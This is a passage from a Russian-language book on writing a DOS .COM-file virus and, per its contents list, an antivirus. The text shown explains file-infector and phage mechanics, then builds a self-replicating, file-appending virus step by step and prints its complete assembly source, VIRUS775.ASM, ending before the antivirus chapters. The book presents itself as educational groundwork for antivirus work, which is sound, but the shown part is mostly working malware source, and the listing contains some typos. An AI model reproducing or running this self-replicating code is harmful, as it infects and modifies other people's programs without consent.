Небольшое вступление
Текст далее приводим исключительно в образовательных целях. Для того, чтобы иметь возможность написать антивирус, необходимо знать механику работы вируса.
Пишем вирус… и антивирус для IBM-совместимых компьютеров. Петр Хижняк
Содержание
-
Введение
-
Глава 1. Вирус и антивирус.
-
1.2 Описание простейшего вируса.
-
1.3 Описание работы антивируса
-
-
Глава 2. Пишем вирус
-
2.1 С чего начать?
-
2.2 Передача управления вирусу
-
2.3 Восстановление программы-носителя
-
2.4 Сохранение DTA
-
2.5 Область данных вируса
-
2.6 Поиск жертвы
-
2.7 Жертва найдена?
-
2.8 Вирус размножается
-
2.9 Обработка ошибок
-
2.10 Текст программы VIRUS775.ASM
-
-
Глава 3. Пишем антивирус
-
3.1 Как искать сигнатуру вируса
-
3.2 Листинг программы VIRUS775.ASM
-
3.3 Подбираем сигнатуру
-
3.4 Что должен делать антивирус
-
3.5 Область данных антивируса
-
3.6 Антивирус начинает работу
-
3.7 Читаем командную строку
-
3.8 Заказываем память
-
3.9 Ищем зараженные файлы
-
3.10 Длинные и короткие файлы
-
3.11 Ищем сигнатуру вируса
-
3.12 Лечим зараженный файл
-
3.13 Записываем вылеченный файл
-
3.14 Антивирус "умывает руки"
-
3.15 Текст программы ANTI775.ASM
-
-
Глава 4. Кто выиграет войну?
-
4.1 Создаем исполняемые программы
-
4.2 Заражаем COMMAND.COM
-
4.3 Проверяем работу антивируса
-
4.4 Вместо послесловия
-
-
Аннотация литературы по компьютерным вирусам
Введение Компьютерные вирусы, едва появившись на свет, повергли в смятение компьютерную общественность, которая привыкла полагаться на компьютеры как на верных и, главное, надежных помощников в своей работе. И вдруг - как молнии - в печати под громкими заголовками замелькали сообщения об эпидемии, вызванной компьютерными вирусами. Компьютеры как бы вырвались из-под власти человека: программиста, оператора, пользователя - и их поведение, до этого совершенно спокойное и пристойное, перестало быть предсказуемым. Более того, компьютеры стали опасными. Нет, не для человека - для программ и данных, которыми он пользуется. Однако, если небольшая ошибка в программе, управляющей, например, ядерным реактором, может привести к его аварии (и это уже случалось!), то каких бед может натворить компьютер, "заболевший" вирусом и в больном угаре, скажем, запустивший ракету с атомной боеголовкой? Возможны и менее опасные действия компьютера: неверная обработка важных финансовых документов, порча бесценной научной или медицинской информации... Да мало ли что еще может натворить компьютер, которому человек доверил управлять теми или иными важными процессами в производстве и в жизни. Осознав все это и почувствовав на себе коварство невидимых врагов, человек сразу встал на борьбу с ними. Откуда же взялись компьютерные вирусы, что это такое и как с ними бороться? Понимая, что большинство читателей этой книги прекрасно знает ответ, по крайней мере, на первый из этих вопросов, мы опустим его подробное освещение и перейдем сразу ко второму, а затем и к третьему. Итак, больное самолюбие в одних случаях, желание выделиться в других и жажда мести в третьих - породили вандалов в чинной среде программистов. Их изобретательность не знает границ. Современные компютерные вирусы - это программы, которые не только размножаются и живут самостоятельной жизнью, но которые обманывают, скрываются, убивают другие программы! Полный набор терминов из криминальной хроники. Поэтому и методы борьбы с компьютерными вирусами тоже напоминают методы Шерлока Холмса. Слежка, ловля "на живца", обыски, производимые антивирусными программами в памяти компыютера и на диске - чем не детективный роман? Однако борьба с вирусами - дело не столько захватывающее, сколько сложное, требующее особою внимания, терпения, вдумчивости и твердых знаний. Итак - приступим к борьбе. Глава 1. Вирус и антивирус. 1.2 Описание простейшего вируса. Начнем с определений. Вирусом называют программу, которая помимо желания пользователя компьютера выполняет действия, мешающие его нормальной работе. Характерными чертами вирусов являются следующие:
-
Код вируса (или его часть) внедряется в другие программы. А программами являются, например, загрузочная запись (boot record) и системный загрузчик (master boot record), драйверы, оверлейные файлы и т.п.
-
Код вируса попадает в память или на внешние накопители, а также выполняется помимо воли пользователей и операторов ЭВМ.
-
Действия вируса вызывают различные вредные последствия: замедление работы компьютера, порча программ и данных, искажение результатов ввода / вывода, засорение оперативной памяти и внешних носителей и др.
Существует много типов вирусов, познакомиться с которыми подробно читатель сможет, прочитав литературу, список которой приведен в конце данной книги. Мы же рассмотрим работу простейшего файлового вируса, поражающего .COM-файлы и не являющегося резидентным. Такой вирус, будучи однажды выпущенным "на волю", заражает программы следующим образом. Первым делом, получив управление при запуске зараженной программы, вирус ищет на доступном диске файлы с расширением .COM. Найдя подходящий файл (т.е. перемещаемую программу), вирус записывает свой код за последним оператором (т.е. в "хвост") этой программы, а затем на место первых трех байт этой программы записывает код короткого перехода по адресу входа в свою программу, предварительно сохранив исходные три байта в своей внутренней области данных или в стеке. После этого вирус перезаписывает модифицированный .COM-файл на магнитный диск. При этом изменяется длина исходного файла. В принципе, возможно существование вирусов, не изменяющих длину заражаемого файла. В этом случае код исходного файла должен храниться в зараженном файле в архивированном виде или же код вируса и частично "лишний" код исходного файла должны храниться в сбойных секторах или в системной области магнитного диска. После заражения файла (или вместо этого) вирус может заняться вредоносной деятельностью (хотя заражение файлов - вещь и так достаточно неприятная). Завершив выполнение всего, что наметил его автор, вирус восстанавливает (только в памяти компьютера!) исходные три байта той программы, которая передала ему управление и осуществляет переход на начало этой программы. Поскольку в .COM-файле, если не принимать специальных мер, адрес входа всегда равен 100h, то для передачи управления по этому адресу вирус может использовать длинный переход и не рассчитывать относительное смещение адреса, учитывающее длину заражаемой программы. Таким образом, сначала всегда выполняется код вируса, а затем - сама зараженная программа. У пользователя может создаться впечатление, что все в порядке (ведь программа отработала нормально!). Действия же вируса, как правило, незаметны и выполняются в течение очень короткого промежутка времени. Схема работы вируса в зараженной программе приведена на рис 1. Far JMP 100h +---------------------<---------------------------+ | | +-+-+-+------------------+--------------+-+-+-+----+ | | | | | | | | | | | JMP | COM file | Virus body | | | | | | | | | | | | | | | +-+-+-+------------------+--------------+-+-+-+----+ | | 3 bytes +----------------->-------------+ 100h Near JMP Рисунок 1. Схематическое изображение принципа работы вируса в зараженной .COM-программе. 1.3 Описание работы антивируса Существуют различные типы антивирусных программ и технических средств. Например, резидентые перехватчики системных прерываний и прерываний BIOS, программы-ревизоры, проверяющие длины и контрольные суммы файлов и др. Мы расскажем читателю лишь о двух типах антивирусных программ - детекторах и фагах. Первые лишь обнаруживают наличие вируса и указывают его место положения. Вторые "лечат" программы, т.е. "выкусывают" вирус из зараженной программы и (иногда полностью, иногда почти полностью) приводят программу к прежнему виду. Восстановление 3-х первых байт +-+-+-----------------<-----------------+-+-+ | | | | | | +-+-+-+------------------+--------------+-+-+-+----+ | | | | | | | | | | | JMP | COM file | Virus body | | | | | | | | | | | | | | | +-+-+-+------------------+--------------+-+-+-+----+ | | +-------------------------+ Выкусывание "хвоста", содержащего вирус Рисунок 2. Схематическое изображение принципа восстановления антивирусом (фагом) зараженной .COM-программы. Очевидно, что идеальная антивирусная программа, предназначенная для восстановления зараженных файлов (т.е. для приведения их к исходному виду), должна проделать всю работу, которую проделал вирус, в обратном порядке. A именно:
-
найти зараженную программу;
-
зная, в каком месте своей области данных вирус хранит первые три байта зараженной программы, переписать эти три байта вместо трехбайтовой команды перехода на начало кода вируса;
-
зная длину вируса (а еще лучше - первоначальную длину зараженной программы) "отрезать" ту часть зараженной программы, которая содержит код вируса;
-
записать вылеченную программу на магнитный диск, восстановив возможно точнее ее прежнюю длину.
Помимо указанных действий грамотно написанная антивирусная программа-фаг по ходу работы должна выполнять многочисленные проверки, чтобы вместо "лечения" не испортить зараженную (или даже здоровую!) программу. Например, программа-фаг обязательно должна работать совместно с программой-детектором или (еще лучше) составлять с ней одно целое. Таким образом будет обеспечено "лечение" лишь действительно зараженных данным вирусом программ. Программа-фаг, всегда ориентирована на борьбу с конкретным вирусом (или группой определенных вирусов) и совершенно не приспособлена к борьбе со всеми остальными. Достаточно бывает внести в код вируса совершенно незначительные изменения - и эффективно работавший фаг станет бессилен в борьбе с новым штаммом. Более того, программа-фаг может в этом случае перестать "лечить" зараженные файлы, а лишь будет безвозвратно их портить. Поэтому при пользовании антивирусными программами-фагами следует придерживаться ряда предосторожностей:
-
всегда необходимо перед "лечением" создавать резервные копии зараженных программ на отдельных гибких дисках;
-
перед "лечением" необходимо с помощью программ-детекторов убедиться, что подозреваемый файл действительно заражен тем самым штаммом вируса, против которого успешно борется имеющаяся у Вас программа-фаг;
-
все операции по поиску, копированию и лечению зараженных файлов следует проводить на незараженном компьютере. Для этого достаточно произвести загрузку DOS с эталонной незараженной и защищенной от записи дискеты, содержащей операционную систему, которая всегда должна быть под рукой.
Глава 2. Пишем вирус Борьба с компьютерными вирусами на профессиональном уровне предполагает хорошее знание работы вирусов на уровне кода. То есть разработчику антивирусных программ необходимо знакомство не только с основными принципами действия вирусов, но и со способами программной реализации этих принципов. Особенно это относится к случаям борьбы с новыми, неизвестными ранее вирусами или с новыми штаммами вирусов, для которых не существует стандартных средств (программ) для их обнаружения и нейтрализации последствий их разрушительных действий. В данной главе приводится текст программы (отлаженной и проверенной в действии), имитирующей работу простейшего файлового вируса, заражающего .COM-программы. Данная программа без всяких изъятий проделывает все то, на что способен простой .COM-вирус, т.е. проверяет наличие не зараженных данным вирусом программ на диске (чтобы не заражать одну и ту же программу дважды), заражает такую программу - и вместо выполнения троянской компоненты вируса выдает на экран сообщение о том, что произошло заражение программы. После первого заражения какого-либо .COM-файла с помощью данной программы вирус начинает самостоятельную жизнь и способен выполнять все вышеуказанные действия при каждом запуске зараженной программы. Не предполагая у читателя досконального знания языка ассемблера, прерываний и функций MS-DOS и BIOS, мы будем давать по возможности полные комментарии к каждой структурной части программы-вируса и антивируса. 2.1 С чего начать? Все .COM-программы начинаются почти одинаково: со своеобразного заголовка .COM-программы, указывающего стандартные совпадающие сегментные регистры кода (cs) и данных (ds) и адрес начала кода, равный 100h, т.е. сразу за сегментным префиксом программы (PSP), который располагается по нулевому смещению и занимает 100h байт. CSEG segment assume cs:cseg,ds:cseg,es:cseg org 100h START: Содержимое регистра расширенного сегмента данных (es), который может использоваться в программе для операций со строками данных, пока тоже оставим равным содержимому регистра cs. 2.2 Передача управления вирусу Поскольку, как показано выше, работа вируса начинается с выполнения трехбайтовой команды близкого перехода на начало кода вируса, мы запишем эту команду сразу за меткой START. Далее, необходимо учесть отличие программы, запускающей вирус, от вируса в "чистом" виде, которое заключается в том, что эта программа после завершения работы, в отличие от вируса, внедрившегося в программу, должна передать управление DOS, а не программе-носителю вируса. Чтобы отличить запускающую программу от вируса, запишем идентифицирующий код (например 0FFFFh) сразу за командой перехода на начало запускающей программы. START: db 0E9h dw 15h ; Near jurp to RESTORE_3_BYTES ID dw 0FFFFh org 110h VIRUS: Обратите внимание на необычность записи команды близкого перехода. Эта команда записана непосредственно в виде машинного кода (0Е9h) и относительного смещения перехода (15h), которое вычисляется по сумме длин команд и данных, расположенных перед началом основной программы (метка RESTORE_3_BYTES). Относительное смещение перехода будет вычисляться вирусом при заражении программы, и следовательно вместо смещения 15h в зараженной программе будет сгоять совершенно другое число. Команда org 110h, предписывающая ассемблеру располагать следующие за ней коды со смещения 110h, записана для удобства расчета адреса перехода и для обеспечения резерва области данных запускающей программы. 2.3 Восстановление программы-носителя После получения управления наш вирус прежде всего восстанавливает первые три байта исходной программы, которые он хранит в своей области данных, расположенной сразу за кодом вируса (метка BYTES_3). В запускающей программе сегмент кода и сегмент данных вируса совпадают. Однако в зараженной программе область данных вируса отодвигается как минимум на количество байт, равное собственной (прежней) длине зараженной программе. Поэтому в вирусе необходимо предусмотреть приращение содержимого сегмента данных (ds) на величину, равную округленной в большую сторону исходной длине зараженной программы по модулю 10h (т.к. число, хранящееся в регистре ds, по определению, принятому для семейства процессоров 80x86, в 10h раз меньше абсолютного смещения сегмента данных). VIRUS: push ds mov ax,cs db 00000101b ; Add ax,imed NEW_DS dw 0FFFFh ; 0FFFFh should be replaced mov ds,ax ; Define new ds segment RESTORE_3_BYTES: mov al,BYTES_3[0] ; Restore first 3 bytes mov byte ptr cs:[100h],al mov al,BYTES_3[1] mov byte ptr cs:[101h],al mov al,BYTES_3[2] mov byte ptr cs:[102h],al Поскольку длина заражаемой программы заранее не известна, мы записали команду, корректирующую ds непосредственным прибавлением к его содержимому соответствующего числа, также как и первую команду перехода, в виде машинного (двоичного) кода 00000101b (Add ax,imed). Слово, которое следует за этой командой (пока это 0FFFFh), должно представлять собой число, которое прибавляется командой 00000101b. Это число будет подставлено вирусом по адресу, определяемому меткой NEW_DS. 2.4 Сохранение DTA Далее, поскольку, вирус будет пользоваться функциями DOS, для выполнения операций с файлами, необходимо предусмотреть возможность выделения DTA (Data Transfer Area) для этих целей. Наш вирус будет пользоваться DTA зараженной программы, но поскольку при этом содержимое DTA, которое необходимо зараженной программе для ее нормальной работы (после передаче ей вирусом управления), будет испорчено, сохраним DTA в области данных вируса, выделив для этого целых 100h байт (т.е. для сохранения общности будем хранить целиком PSP). STORE_DTA: mov cx,100h mov Ьх,0 DTA_S: mov al,byte ptr cs:[bx] mov byte ptr DTA[bx],al inc bx loop DTA_S 2.5 Область данных вируса Таким образом, мы подготовили практически все необходимое для дальнейшей работы вируса (или запускаюшей вирус программы). Работа запускающей программы отличается от работы вируса тем, что она не производит реальных действий по восстановлению первых трех байт (эта работа для запускающей программы является холостой), и не производит корректировки содержимого регистра данных ds. Однако как вирус, так и запускающая программа имеют одинаковую по структуре область (сегмент) данных, расположенную в самом конце. Поскольку мы сразу активно оперируем данными, приведем структуру этой области уже теперь. FMASK db '*.COM',0h FNAME db 12 dup (?),0h FLENOLD dw (?) ; Length of file FLEN dw (?) ; Corrected length of file HANDLE dw 0FFFFh ; File handle number JMPVIR db 0E9h ; JMP code JMP_L db (?) JMР_H db (?) ; 3 bytes for virus JMP BYTES_3 db 3 dup (?) ; Original 3 bytes db (?) DTA db 101h dup (?) MSG db 0Ah,ODh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$' VIRLEN equ $-VIRUS CSEG ends end START Тот факт, что область данных нашего вируса расположена в самом конце программы, отражен наличием команд CSEG ends и end START. Поскольку мы глубоко продумали алгоритм работы вируса и хорошо представляем себе данные, которыми он будет оперировать, мы можем описать и объяснить все, что хранится в этой области. FMASK db '*.COM'.Oh Строка FMASK в формате ASCIIZ длиной 6 байт содержит маску имен файлов, которые вирус будет просматривать в поиске новой "жертвы". Это все файлы с расширением .COM. FNAME db 12 dup (?),0h Строка FNАМЕ длиной 13 байт представляет собой место, зарезервированное для хранения имени файла-жертвы с расширением в формате ASCIIZ FLENOLD dw (?) ; Length of file Слово FLENOLD зарезервировано для хранения длины файла-жертвы, поскольку с этой величиной вирус будет проаодить различные манипуляции при расчете новой длины уже зараженного файла. FLEN dw (?) ; Corrected length of file Слово FLEN зарезервировано для хранения скорректированной (новой) длины файла, уже зараженного вирусом. HANDLE dw 0FFFFh ; File handle number Слово HANDLE зарезервировано для хранения логического номера (handle) открываемого файла. В случае, когда вирусом не было открыто ни одного файла, в этом слове хранится число 0FFFFh. JMPVIR db 0E9h ; JMP code JMP_L db (?) JMP_H db (?) ; 3 bytes for virus JMP Байт JMPVIR хранит константу 0Е9h, представляющую собой код близкого перехода. Байты JMP_L и JMP_Н зарезервированы для хранения, соответственно, младшей и старшей части смещения, являющегося частью команды перехода. Это смещение рассчитывается вирусом в процессе заражения файла. BYTES_3 db 3 dup (?) ; Original 3 bytes db (?) Три байта под меткой BYTES_3 зарезервированы для хранения исходных трех байт программы-жертвы. Эти байты подставляются обратно по смещению 100h (в памяти) перед передачей управления программе-носителю вируса. Еще один байт - резерв. DTA db 101h dup (?) Сто байт отведено (метка DTA) для хранения области PSP (Program Segment Prefix), включающей в себя DTA (Data Transfer Area), и один байт - резерв. MSG db 0Ah,ODh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$' Меткой MSG обозначена ASCII строка, которую выдает на экран вирус при заражении очередной программы. Это - единственное "вредное" действие, совершаемое нашим вирусом (не считая, конечно, самого заражения .COM-программ). VIRLEN equ $-VIRUS Константа VIRLEN не занимает места в области данных. Эта величина равна длине кода вируса, который приписывается в "хвост" заражаемой программы (знак $ означает текущий адрес, а метка VIRUS - смещение начала кода вируса). Знак '$', расположенный в строке MSG является последним кодом вируса. Наш вирус будет использовать этот код для проверки, не заражен ли уже данным вирусом намечаемый файл-жертва. Сразу же хочется отметить, что этот факт может быть использован для вакцинации (защиты) программ от данного вируса. Для этого достаточно лишь приписать код '$' в конец защищаемой программы. К сожалению, этот прием не спасает от других вирусов. Кроме того, если поверх нашего вируса "сел" другой, то наш вирус заразит данную программу еще раз. 2.6 Поиск жертвы Наш вирус - простейший. В нем отсутствуют наиболее мощные средства работы с файловой системой DOS. Поэтому этот вирус способен отыскивать потенциальные жертвы лишь в текущем каталоге, из которого запущена программа-носитель вируса. Для этого наш вирус использует функции DOS 4Eh (Find first matching file) и 3Eh (Find next matching file), которые осуществляют поиск файла по заданному шаблону (у нас это ASCIIZ строка с меткой FMASK: FMASK db '*.COM',0h Помимо соответствия имени файла шаблону, его атрибуты также должны соответствовать атрибутам, заданным в регистре сх перед вызовом функции 4Eh (или 3Еh). Функция DOS находит файл, атрибуты которого разрешены маской. Единичный бит в маске означает, что соответствующий бит в байте атрибутов может быть как единичным, так и нулевым; нулевой бит в маске означает, что соответствующий бит в байте атрибутов файла может быть только нулевым. Таким образом, если маска атрибута (содержимое регистра сх) равна, например, 00100001, а байт атрибутов файла равен 00100000 или 00100001, то этот файл будет найден DOS. А файл с байтом атрибутов 00100010 найден не будет. FIND_FIRST: lea dx,FMASK mov cx,00100000b ; arc,dir,vol,sys,hid,r/o mov ah,4Eh int 21h ; Find first .COM file jnc STORE_FNAME jmp ERR Если файла, соответствующего заданному шаблону и маске атрибутов найдено не было (или произошла ошибка), управление передается на метку ERR, в противном случае - на метку STORE_FNAME (сохранить имя файла). Поскольку среди найденных файлов могут оказаться те, которые вирусу "не подходят" (например, их длина слишком велика, или они уже заражены данным вирусом), здесь же следует предусмотреть поиск следующего файла, соответствующего шаблону (пометим этот блок программы меткой FIND_NEXT). Обращение к этому блоку будет делаться позже, после всех необходимых проверок. FIND_NEXT: mov bx,HANDLE mov ah,3Eh int 21h ; Close previous file mov HANDLE,0FFFFh mov ah,4Fh int 21h jnc STORE_FNAME jmp ERR Очевидно, что перед тем, как найти следующий файл, соответствующий шаблону, необходимо закрыть предыдущий. Это делают первые четыре оператора, следующие за меткой FIND_NEXT (функция DOS 3Eh). При этом в слово HANDLE засылается число 0FFFFh, которое, как мы договорились, является признаком того, что все открытые нами файлы закрыты. 2.7 Жертва найдена? Если подходящий файл найден (а таким файлом наш вирус "считает" .COM-файлы с не установленными атрибутами "read-only", "system" и "hidden" (атрибут "archive" ему безразличен), то необходимо сохранить имя файла с тем, чтобы затем воспользоваться функциями, использующими для операций чтения и записи его логический номер (handle). STORE_FNAME: cmp byte ptr cs:[95h],00000001b ; Test r/o attribute je FIND_NEXT ; if r/o is set, do not infect mov bx,0 NEXT_SYM: mov al,byte ptr cs:[bx+9Eh] mov FNAME[bx],al cmp byte ptr cs:[bx+9Eh],0 je SET_ATTRIB inc bx cmp bx,13 jng NEXT_SYM jmp ERR Заметим, что в блоке с меткой STORE_FNAME дополнительно проверяется атрибут "read-only". Это совершенно не обязательно в данной программе, так как наша маска атрибутов и так не допускает поиска файлов с этим атрибутом. Дополнительная проверка введена лишь как иллюстрация того, что любой атрибут можно проверить, считав байт атрибутов из DTA по смещению 95h (ведь наш вирус, несмотря на его реальность - все же учебный). Имя файла хранится в DTA в формате ASCIIZ (т.е. без пробелов и заканчивается нулевым кодом, длина его с расширением не более 13 символов, включая нулевой код) начиная со смещения 9Eh. Если бы мы хотели, чтобы наш вирус заражал любые .COM-файлы (в том числе системные, скрытые и "только-для-чтения") мы должны были бы установить маску атрибутов при поиске подходящего файла равной 00100111, а после того, как подходящий файл найден, изменить его атрибут "read-only" с тем, чтобы этот файл можно было модифицировать (ведь именно этим и занимается вирус). И хотя для нас это также необязательно, тем не менее покажем, как вирус может изменять атрибуты файла. SET_ATTRIB: lea dx,FNAME mov cx,00100000b ; arc,dir,vol,sys,hid,r/o mov ax,4301h int 21h ; Set file attributes jnc READ_HANDLE jmp ERR Теперь пора открывать файл с помошью handle- ориентированной функции DOS 3D (02) - открыть файл в режиме чтения/записи (handle файла после его открытия хранится в регистре ах, надо не забыть его сохранить). READ_HANDLE: lea dx,FNAME mov ax,3D02h ; Read/write mode int 21h ; Open a file jnc READ_3_BYTES jmp ERR Теперь, когда файл успешно открыт (а в случае ошибки - переход на метку ERR), можно последовательно сделать следующее. Пока (сразу после открытия файла) указатель стоит на начале файла, считаем и сохраним первые три байта только что открытого файла, а заодно сохраним его handle (логический номер). READ_3_BYTES: mov HANDLE,ax ; Store handle from ax lea dx,BYTES_3 mov bx,HANDLE mov cx,3 ; Number of bytes to read mov ah,3Fh int 21h ; Read and store first 3 bytes jnc READ_FLEN jmp ERR Прочитаем длину открытого файла. Для этого обычно устанавливаеют текущий указатель (seek pointer) на конец файла и вызывают функцию DOS 42h (02) (Изменить положение указателя текущей позиции). При этом смещение указателя относительно начала файла (т.е. его длина!) заносится в виде двойного слова в регистры dx (старшая часть) и ах (младшая часть). READ_FLEN: mov cx,0 mov dx,0 ; NULL seek position in cx:dx mov bx,HANDLE mov al,2 ; Relative to EOF mov ah,42h ; Get program length in dx:ax int 21h jnc CHECK_ID jmp ERR Теперь, вероятно, пора убедиться, что открытый файл не был заражен нашим вирусом ранее. Однако, возможно нам и не потребуется определять наличие индикатора заражения. Это в том, например, случае, если длина открытого файла слишком велика (например, превышает 64 К байт), или же она становится слишком велика после заражения. Для начала рассчитаем округленную до 16 (величина параграфа памяти) длину файла, сохраним эту величину в слове FLEN. CHECK_ID: mov FLENOLD,ax ; Store length of file test ах,00001111b jz JUST or ах,00001111b inc ax JUST: mov FLEN,ax ; Store corrected length of file cmp ax,64500 jna CALC_DS jmp FIND_NEXT Заодно рассчитаем и приращение значения сегмента данных (для использования его вирусом в данном файле в случае его заражения) - именно эта величина прибавляется к содержимому регистра ds (разумеется, через регистр ax). Эта операция выполняется операторами, следующими сразу за меткой VIRUS. Вот зачем необходимо округление длины файла до 16 в большую сторону! CALC_DS: mov cl,4 shr ax,cl ; Calculate new ds segment difference dec ax mov byte ptr NEW_DS[0],al mov byte ptr NEW_DS[1],ah ; Store new ds segment Вот теперь самое время прочитать последний байт этого файла и убедиться, что он не был заражен нашим вирусом ранее. Напомним, что в качестве такого индикатора мы используем символ '$'. mov сх,0 mov dx,FLENOLD dec dx mov bx,HANDLE mov al,0 ; Relative to EOF mov al,42h int 21h ; Set seek to last byte of file jnc READ_ID jmp ERR READ_ID: lea dx,BYTES_3[3] mov bx,HANDLE mov cx,1 mov ah,3Fh int 21h ; Read last byte to BYTES_3[3] (ID='$') jnc TEST_ID jmp FIND_NEXT TEST_ID: cmp BYTES_3[3],'$' jne NOT_INFECTED jmp FIND_NEXT ; Check if file is infected Если файл уже заражен нашим вирусом, то следует перейти к метке FIND_NЕХТ и повторить все операции с самого начала. Если же файл не заражен, то можно произвести окончательную его подготовку к внедрению вируса. Рассчитаем смещение кода вируса относительно начала заражаемого файла (напомним, что вирус записывает себя в конец файла, причем смещение округлено по границе параграфа - хотя вообще говоря это не обязательно). NOT_INFECTED: mov ax,FLEN ; Calculate JMP address sub ax,03h mov JMP_L,al mov JMP_H,ah ; Store new JMP address 2.8 Вирус размножается Теперь происходит самое главное: вирус приписывает себя (свой код, включая область данных, где хранятся первые три байта этого файла, скорректированные операторы модификации сегмента данных и т.п.) в конец файла-жертвы. mov cx,0 mov dx,FLEN mov bx,HANDLE mov ax,4200h ; Set seek to corrected end of file int 21h jc ERR lea dx,VIRUS mov cx,VIRLEN mov bx,HANDLE mov ah,40h int 21h ; Write virus to file jc ERR Теперь осталось лишь вместо первых трех байт файла-жертвы записать три байта, которые представляют собой команду перехода на начало вируса. WRITE_JMP: mov cx,0 mov dx,0 mov bx,HANDLE mov al,0 ; Relative to file start mov ah,42h int 21h ; Set seek to 0 jc ERR lea dx,JMPVIR mov сх,3 mov bx,HANDLE mov ah,40h int 21h ; Write new JMP to file jc ERR Мы договорились, что единственным вредным действием (помимо заражения других программ), которое совершает наш вирус, будет выдача на экран сообщения о том, что заражен очередной файл. Конечно, если заражения не произошло, то и сообщения выдано не будет. Напомним, что текст сообщения хранится в области данных вируса в строке под меткой MSG. PRINT_MSG: lea dx,MSG mov ah,09h int 21h ; Print a message 2.9 Обработка ошибок Опишем действия вируса в случае возникновения ошибок (к ним мы причисляем и отсутствие файлов, удовлетворяющих шаблону). В этом случае вирус просто передает управление программе-носителю. ERR: cmp HANDLE,0FFFFh je EXIT CLOSE_FILE: mov bx,HANDLE mov ah,3Eh int 21h ; Close file EXIT: cmp cs:[ID],0FFFFh je GOTO_DOS RESTORE_DTA: mov cx,100h mov bx,0 DTA_R: mov al,byte ptr DTA[bx] mov byte ptr cs:[bx],al inc bx loop DTA_R GOTO_START: mov ax,cs mov ds:[SIART_S],ax pop ds db 0EAh ; Far jmp to START dw 0100h ; START offset START_S dw (?) ; START segment GOTO_DOS: mov ax,4C00h int 21h Аналогичные действия выполняются и при успешном выполнении вирусом своей программы. Предварительно вирус закрывает зараженный файл и восстанавливает PSP. Теперь мы можем привести текст нашего вируса (вернее, программы, которая его запускает) целиком. 2.10 Текст программы VIRUS775.ASM .8086 PAGE ,132 ;****************************************************** ; VIRUS775.ASM emulates virus activity for .COM files ;****************************************************** CSEG segment assume cs:cseg,ds:cseg,es:cseg org 100h START: db 0E9h dw 15h ; Near jump to RESTORE_3_BYTES ID dw 0FFFFh org 110h VIRUS: push ds mov ax,cs db 00000101b ; Add ax,imed NEW_DS dw 0FFFFh ; 0FFFFh should be replaced mov ds,ax ; Define new ds segment RESTORE_3_BYTES: mov al,BYTES_3[0] ; Restore first 3 bytes mov byte ptr cs:[100h],al mov al,BYTES_3[1] mov byte ptr cs:[101h],al mov al,BYTES_3[2] mov byte ptr cs:[102h],al STORE_DTA: mov cx,100h mov bx,0 DTA_S: mov al,byte ptr cs:[bx] mov byte ptr DTA[bx],al inc bx loop DTA_S FIND_FIRST: lea dx,FMASK mov cx,00100000b ; arc,dir,vol,sys,hid,r/o mov ah,4Eh int 21h ; Find first .COM file jnc STORE_FNAME jmp ERR FIND_NEXT: mov bx,HANDLE mov ah,3Eh int 21h ; Close previous file mov HANDLE,0FFFFh mov ah,4Fh int 21h jnc STORE_FNAME jmp ERR STORE_FNAME: cmp byte ptr cs:[95h],00000001b ; Test r/o attribute je FIND_NEXT ; if r/o is set, do not infect mov bx,0 NEXT_SYM: mov al,byte ptr cs:[bx+9Eh] mov FNAME[bx],al cmp byte ptr cs:[bx+9Eh],0 je SET_ATTRIB inc bx cmp bx,13 jng NEXT_SYM jmp ERR SET_ATTRIB: lea dx,FNAME mov cx,00100000b ; arc,dir,vol,sys,hid,r/o mov ax,4301h int 21h ; Set file attributes jnc READ_HANDLE jmp ERR READ_HANDLE: lea dx,FNAME mov ax,3D02h ; Read/write mode int 21h ; Open a file jnc READ_3_BYTES jmp ERR READ_3_BYTES: mov HANDLE,ax ; Store handle from ax lea dx,BYTES_3 mov bx,HANDLE mov cx,3 ; Number of bytes to read mov ah,3Fh int 21h ; Read and store first 3 bytes jnc READ_FLEN jmp ERR READ_FLEN: mov cx,0 mov dx,0 ; NULL seek position in cx:dx mov bx,HANDLE mov al,2 ; Relative to EOF mov ah,42h ; Get program length in dx:ax int 21h jnc CHECK_ID jmp ERR CHECK_ID: mov FLENOLD,ax ; Store length of file test ax,00001111b jz JUST or ax,00001111b inc ax JUST: mov FLEN,ax ; Store corrected length of file cmp ax,64500 jna CALC_DS jmp FIND_NEXT CALC_DS: mov cl,4 shr ax,cl ; Calculate new ds segment difference dec ax mov byte ptr NEW_DS[0],al mov byte ptr NEW_DS[1],ah ; Store new ds segment mov cx,0 mov dx,FLENOLD dec dx mov bx,HANDLE mov al,0 ; Relative to EOF mov ah,42h int 21h ; Set seek to last byte of file jnc READ_ID jmp ERR READ_ID: lea dx,BYTES_3[3] mov bx,HANDLE mov cx,1 mov ah,3Fh int 21h ; Read last byte to BYTES_3[3] (ID='$') jnc TEST_ID jmp FIND_NEXT TEST_ID: cmp BYTES_3[3],'$' jne NOT_INFECTED jmp FIND_NEXT ; Check if file is infected NOT_INFECTED: mov ax,FLEN ; Calculate JMP address sub ax,03h mov JMP_L,al mov JMP_H,ah ; Store new JMP address mov cx,0 mov dx,FLEN mov bx,HANDLE mov ax,4200h ; Set seek to corrected end of file int 21h jc ERR lea dx,VIRUS mov cx,VIRLEN mov bx,HANDLE mov ah,40h int 21h ; Write virus to file jc ERR WRITE_JMP: mov cx,0 mov dx,0 mov bx,HANDLE mov al,0 ; Relative to file start mov ah,42h int 21h ; Set seek to 0 jc ERR lea dx,JMPVIR mov cx,3 mov bx,HANDLE mov ah,40h int 21h ; Write new JMP to file jc ERR PRINT_MSG: lea dx,MSG mov ah,09h int 21h ; Print a message ERR: cmp HANDLE,0FFFFh je EXIT CLOSE_FILE: mov bx,HANDLE mov ah,3Eh int 21h ; Close file EXIT: cmp cs:[ID],0FFFFh je GOTO_DOS RESTORE_DTA: mov cx,100h mov bx,0 DTA_R: mov al,byte ptr DTA[bx] mov byte ptr cs:[bx],al inc bx loop DTA_R GOTO_START: mov ax,cs mov ds:[START_S],ax pop ds db 0EAh ; Far jmp to START dw 0100h ; START offset START_S dw (?) ; START segment GOTO_DOS: mov bx,4C00h int 21h FMASK db '*.COM',0h FNAME db 12 dup (?),0h FLENOLD dw (?) ; Length of file FLEN dw (?) ; Corrected length of file HANDLE dw 0FFFFh ; File handle number JMPVIR db 0E9h ; JMP code JMP_L db (?) JMP_H db (?) ; 3 bytes for virus JMP BYTES_3 db 3 dup (?) ; Original 3 bytes db (?) DTA db 101h dup (?) MSG db 0Ah,0Dh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$' VIRLEN equ $-VIRUS CSEG ends end 